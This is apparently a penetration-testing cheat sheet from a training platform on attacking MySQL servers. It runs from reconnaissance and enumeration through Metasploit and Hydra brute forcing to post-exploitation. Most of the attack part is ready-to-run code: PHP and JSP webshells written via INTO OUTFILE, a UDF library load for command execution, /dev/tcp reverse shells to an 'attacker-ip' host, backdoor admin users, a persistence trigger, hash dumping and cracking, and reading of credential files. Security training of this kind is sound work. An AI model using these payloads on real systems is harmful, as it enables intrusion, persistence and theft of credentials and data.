Skip to main content
🎃
HALLOWEEN 50% OFFPay Once $59, Use All Year (Normally $119)Activate Now →

Want to Practice These Techniques?

Try Hackviser's interactive cyber security upskilling platform - Learn by doing!

Start Practicing Now

MySQL

Default Port: 3306

MySQL is an open source relational database management system (RDBMS) widely used worldwide. Databases are used to store and manage interrelated data. MySQL is a preferred solution in many areas such as web-based applications, data storage, e-commerce, and log records. SQL (Structured Query Language) is the language MySQL uses to communicate with the database.

Connect​

Using mysql Client​

# Local connection (no password)
mysql -u root

# Local connection with password
mysql -u username -p

# Connect to specific database
mysql -u username -p database_name

# Remote connection
mysql -u username -h target.com -P 3306 -p

# Connect and execute query
mysql -u username -p -e "SELECT @@version;"

# Connect without database selection
mysql -u username -h target.com -p --skip-database

Using mysqldump​

# Dump specific database
mysqldump -u username -p database_name > backup.sql

# Dump all databases
mysqldump -u username -p --all-databases > all_databases.sql

# Dump specific table
mysqldump -u username -p database_name table_name > table.sql

# Remote dump
mysqldump -u username -h target.com -p database_name > remote_backup.sql

Connection URL Format​

mysql://username:password@hostname:port/database_name
mysql://root:password@target.com:3306/app_db

Recon​

Service Detection with Nmap​

Use Nmap to detect MySQL services and identify server capabilities.

nmap -p 3306 target.com

Identify MySQL server version and gather configuration details.

Using netcat​

# Using netcat
nc -vn target.com 3306

Using nmap​

# Using nmap
nmap -p 3306 -sV target.com

Using telnet​

# Using telnet
telnet target.com 3306

Enumeration​

Version Detection​

Once connected to the MySQL server, you can gather version information using built-in SQL functions.

# MySQL version
SELECT @@version;
SELECT VERSION();

# Server information
SELECT @@version_compile_os;
SELECT @@version_compile_machine;

# Detailed version info
SHOW VARIABLES LIKE "%version%";

Database Enumeration​

Enumerating databases helps you understand the structure and identify interesting targets for further exploitation.

# List all databases
SHOW DATABASES;
SELECT SCHEMA_NAME FROM information_schema.SCHEMATA;

# Current database
SELECT DATABASE();

# Database size
SELECT
table_schema AS 'Database',
ROUND(SUM(data_length + index_length) / 1024 / 1024, 2) AS 'Size (MB)'
FROM information_schema.TABLES
GROUP BY table_schema;

User Enumeration​

Understanding user accounts and their privileges is essential for privilege escalation and lateral movement:

# List MySQL users
SELECT user, host FROM mysql.user;

# Current user
SELECT USER();
SELECT CURRENT_USER();

# User privileges
SHOW GRANTS;
SHOW GRANTS FOR 'username'@'host';

# List users with FILE privilege
SELECT user, host FROM mysql.user WHERE File_priv = 'Y';

# List users with SUPER privilege
SELECT user, host FROM mysql.user WHERE Super_priv = 'Y';

Table and Column Enumeration​

Discovering tables and columns is crucial for identifying where sensitive data is stored:

# List tables in current database
SHOW TABLES;
SELECT table_name FROM information_schema.TABLES WHERE table_schema=DATABASE();

# List columns in specific table
SHOW COLUMNS FROM table_name;
SELECT column_name, data_type FROM information_schema.COLUMNS WHERE table_name='users';

# Find sensitive columns
SELECT table_name, column_name FROM information_schema.COLUMNS
WHERE column_name LIKE '%password%'
OR column_name LIKE '%pass%'
OR column_name LIKE '%pwd%'
OR column_name LIKE '%secret%'
OR column_name LIKE '%token%';

# Count rows in tables
SELECT table_name, table_rows FROM information_schema.TABLES
WHERE table_schema = DATABASE();

Privilege Enumeration​

Checking user privileges helps identify potential attack vectors and exploitation opportunities:

# Check FILE privilege (for LOAD_FILE/INTO OUTFILE)
SELECT file_priv FROM mysql.user WHERE user='current_user';

# Check for dangerous privileges
SELECT user, host, Select_priv, Insert_priv, Update_priv, Delete_priv,
Create_priv, Drop_priv, File_priv, Super_priv
FROM mysql.user;

# Current user permissions
SELECT * FROM information_schema.USER_PRIVILEGES WHERE grantee LIKE '%username%';

Configuration Enumeration​

Understanding the server configuration can reveal security weaknesses and exploitation opportunities:

# Important variables
SHOW VARIABLES;
SHOW VARIABLES LIKE 'secure_file_priv'; # File operations directory
SHOW VARIABLES LIKE 'plugin_dir'; # Plugin directory
SHOW VARIABLES LIKE 'datadir'; # Data directory
SHOW VARIABLES LIKE 'basedir'; # Base directory

# Check if local_infile enabled
SHOW VARIABLES LIKE 'local_infile';

# Process list
SHOW PROCESSLIST;

Metasploit Modules​

Metasploit provides various modules for automated MySQL assessment, from version detection to credential dumping:

Detect MySQL Version​

use auxiliary/scanner/mysql/mysql_version
set RHOSTS target.com
run

Enumerate Users and Privileges​

use auxiliary/admin/mysql/mysql_enum
set RHOSTS target.com
set USERNAME root
set PASSWORD password
run

Dump Database Schema​

use auxiliary/scanner/mysql/mysql_schemadump
set RHOSTS target.com
set USERNAME root
set PASSWORD password
run

Extract Password Hashes​

use auxiliary/scanner/mysql/mysql_hashdump
set RHOSTS target.com
set USERNAME root
set PASSWORD password
run

Brute Force Credentials​

use auxiliary/scanner/mysql/mysql_login
set RHOSTS target.com
set USER_FILE users.txt
set PASS_FILE passwords.txt
set STOP_ON_SUCCESS true
run

Attack Vectors​

Default Credentials​

MySQL databases may come with default or well-known accounts that lack strong passwords. Identifying and testing these accounts can provide an initial foothold without resorting to aggressive hacking techniques.

mysql -u root -p

#enter default or guessable password

Common Credentials​

If anonymous login is disabled on the MySQL server, trying common usernames and passwords like admin, administrator , root , user, or test can be a good initial step. This approach is less aggressive than attempting to guess passwords through brute force and is recommended to try first when accessing a server.

mysql -u <username> -p

#provide a common username
#provide a common password

Bruteforcing Credentials​

A brute-force attack involves trying many passwords or usernames to find the right one for accessing a system.

Tools like Hydra are designed for cracking into networks and can be used on services like MySQL, HTTP, SMB, etc. For MySQL, Hydra often carries out a dictionary attack, which means it uses a list of possible usernames and passwords from a file to try and log in.

Bruteforcing with Hydra​

To use Hydra for brute-forcing MySQL login credentials, you would use a command structured for this purpose:

hydra [-L users.txt or -l user_name] [-P pass.txt or -p password] -f [-S port] mysql://X.X.X.X

Bruteforcing with Nmap​

It is also possible to perform brute force on MySQL with Nmap scripts:

nmap -p 3306 --script mysql-brute X.X.X.X

Bruteforcing with Metasploit​

It is also possible to apply brute force with Metasploit modules on MySQL:

use auxiliary/scanner/mysql/mysql_login
msf auxiliary(scanner/mysql/mysql_login) > set rhosts X.X.X.X
msf auxiliary(scanner/mysql/mysql_login) > set user_file /path/to/user.txt
msf auxiliary(scanner/mysql/mysql_login) > set pass_file /path/to/pass.txt
msf auxiliary(scanner/mysql/mysql_login) > set stop_on_success true
msf auxiliary(scanner/mysql/mysql_login) > exploit

Post-Exploitation​

File Operations​

MySQL's file operations allow reading and writing files on the server filesystem when FILE privilege is granted:

Read Files from Server​

SELECT LOAD_FILE('/etc/passwd');
SELECT LOAD_FILE('/var/www/html/config.php');
SELECT LOAD_FILE('C:\\Windows\\win.ini');

# Read file with hex encoding (bypasses binary issues)
SELECT HEX(LOAD_FILE('/etc/passwd'));

Write Files to Server​

SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';
SELECT 'backdoor content' INTO OUTFILE '/tmp/backdoor.txt';

Check File Operation Restrictions​

SHOW VARIABLES LIKE 'secure_file_priv';

User Defined Functions (UDF) for RCE​

# Create malicious UDF library
# First, create the UDF shared library (compiled C code)
# Then load it into MySQL

# Upload UDF library using INTO DUMPFILE
SELECT 0x[hex_encoded_library] INTO DUMPFILE '/usr/lib/mysql/plugin/udf_sys_exec.so';

# Create function
CREATE FUNCTION sys_exec RETURNS int SONAME 'udf_sys_exec.so';

# Execute commands
SELECT sys_exec('whoami');
SELECT sys_exec('id');
SELECT sys_exec('bash -i >& /dev/tcp/attacker-ip/4444 0>&1');

# Alternative: sys_eval to get output
CREATE FUNCTION sys_eval RETURNS string SONAME 'udf_sys_exec.so';
SELECT sys_eval('cat /etc/passwd');

Webshell Upload​

# PHP webshell
SELECT '<?php system($_GET["cmd"]); ?>'
INTO OUTFILE '/var/www/html/shell.php';

# Access: http://target.com/shell.php?cmd=whoami

# More sophisticated webshell
SELECT '<?php
if(isset($_REQUEST["cmd"])){
$cmd = $_REQUEST["cmd"];
echo "<pre>";
$result = shell_exec($cmd);
echo $result;
echo "</pre>";
}
?>' INTO OUTFILE '/var/www/html/advanced-shell.php';

# JSP webshell (if applicable)
SELECT '<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>'
INTO OUTFILE '/var/www/html/shell.jsp';

Privilege Escalation​

# Create new admin user
CREATE USER 'backdoor'@'%' IDENTIFIED BY 'P@ssw0rd123!';
GRANT ALL PRIVILEGES ON *.* TO 'backdoor'@'%' WITH GRANT OPTION;
FLUSH PRIVILEGES;

# Modify existing user password
UPDATE mysql.user SET password=PASSWORD('newpassword') WHERE user='root';
FLUSH PRIVILEGES;

# Grant FILE privilege to user
GRANT FILE ON *.* TO 'username'@'localhost';
FLUSH PRIVILEGES;

Password Hash Extraction​

# Extract password hashes (MySQL < 5.7)
SELECT user, password FROM mysql.user;

# Extract password hashes (MySQL >= 5.7)
SELECT user, authentication_string FROM mysql.user;

# Specific user hash
SELECT authentication_string FROM mysql.user WHERE user='root';

# Export hashes to file
SELECT user, authentication_string FROM mysql.user
INTO OUTFILE '/tmp/hashes.txt';

Hash Cracking​

# Extract hashes
mysql -u root -p -e "SELECT CONCAT(user, ':', authentication_string) FROM mysql.user" > mysql_hashes.txt

# Crack with hashcat (MySQL 4.1/MySQL 5+)
hashcat -m 300 mysql_hashes.txt rockyou.txt

# Crack with John the Ripper
john --format=mysql-sha1 mysql_hashes.txt

# Old MySQL (pre-4.1)
hashcat -m 200 old_mysql_hash.txt rockyou.txt

Data Exfiltration​

# Extract sensitive data
SELECT * FROM users WHERE role='admin';
SELECT username, password, email FROM accounts;
SELECT * FROM credit_cards;
SELECT * FROM personal_information;

# Export database to file
SELECT * FROM sensitive_table
INTO OUTFILE '/tmp/exfiltrated_data.csv'
FIELDS TERMINATED BY ','
ENCLOSED BY '"'
LINES TERMINATED BY '\n';

# Concatenate and export
SELECT CONCAT(username, ':', password) FROM users
INTO OUTFILE '/tmp/credentials.txt';

Persistence​

# Create backdoor user
CREATE USER 'support'@'%' IDENTIFIED BY 'SupportP@ss123!';
GRANT ALL PRIVILEGES ON *.* TO 'support'@'%';
FLUSH PRIVILEGES;

# Create stored procedure backdoor
DELIMITER //
CREATE PROCEDURE backdoor()
BEGIN
DECLARE cmd CHAR(255);
DECLARE result TEXT;
SET cmd = 'whoami';
SET result = sys_eval(cmd);
SELECT result;
END //
DELIMITER ;

# Call backdoor
CALL backdoor();

# Create trigger for persistence
CREATE TRIGGER backdoor_trigger
AFTER INSERT ON some_table
FOR EACH ROW
BEGIN
-- Malicious action here
DECLARE result TEXT;
SET result = sys_exec('bash -i >& /dev/tcp/attacker-ip/4444 0>&1');
END;

Credential Harvesting from Files​

# Debian MySQL maintenance user
cat /etc/mysql/debian.cnf

# MySQL configuration files
cat /etc/mysql/my.cnf
cat /etc/my.cnf
cat ~/.my.cnf

# Extract hashes from data directory
grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD

# MySQL history (may contain passwords)
cat ~/.mysql_history

# Application config files
cat /var/www/html/config.php
cat /var/www/html/wp-config.php
cat /var/www/html/.env

Lateral Movement​

# Enumerate network from MySQL
# If UDF is available
SELECT sys_exec('ping -c 1 192.168.1.1');
SELECT sys_exec('nmap -sn 192.168.1.0/24');

# Access other databases if credentials are reused
mysql -h another-host.com -u root -p

# Use extracted credentials on other services
# SSH, RDP, FTP with same credentials

Raptor UDF Exploit​

# For Linux systems
# Compile raptor_udf2.c
gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc

# Load into MySQL
mysql> use mysql;
mysql> create table foo(line blob);
mysql> insert into foo values(load_file('/path/to/raptor_udf2.so'));
mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
mysql> create function do_system returns integer soname 'raptor_udf2.so';
mysql> select do_system('bash -i >& /dev/tcp/attacker-ip/4444 0>&1');

Common MySQL Commands​

CommandDescriptionUsage
SHOW DATABASES;Lists all databasesSHOW DATABASES;
USESwitch to databaseUSE database_name;
SHOW TABLES;Display all tablesSHOW TABLES;
SELECTRetrieve dataSELECT * FROM table_name;
INSERT INTOInsert recordINSERT INTO table (col1) VALUES (val1);
UPDATEUpdate recordsUPDATE table SET col1=val1 WHERE condition;
DELETE FROMDelete recordsDELETE FROM table WHERE condition;
CREATE USERCreate new userCREATE USER 'user'@'host' IDENTIFIED BY 'pass';
GRANTGrant privilegesGRANT ALL ON db.* TO 'user'@'host';
FLUSH PRIVILEGES;Reload privilegesFLUSH PRIVILEGES;
LOAD_FILE()Read fileSELECT LOAD_FILE('/etc/passwd');
INTO OUTFILEWrite to fileSELECT * INTO OUTFILE '/tmp/file.txt';

Useful Tools​

ToolDescriptionPrimary Use Case
mysqlOfficial MySQL clientDirect database access
mysqldumpDatabase backup toolData extraction
MetasploitExploitation frameworkAutomated testing
sqlmapSQL injection toolAutomated exploitation
HydraPassword crackerBrute force attacks
John the RipperPassword crackerHash cracking
hashcatPassword recoveryAdvanced hash cracking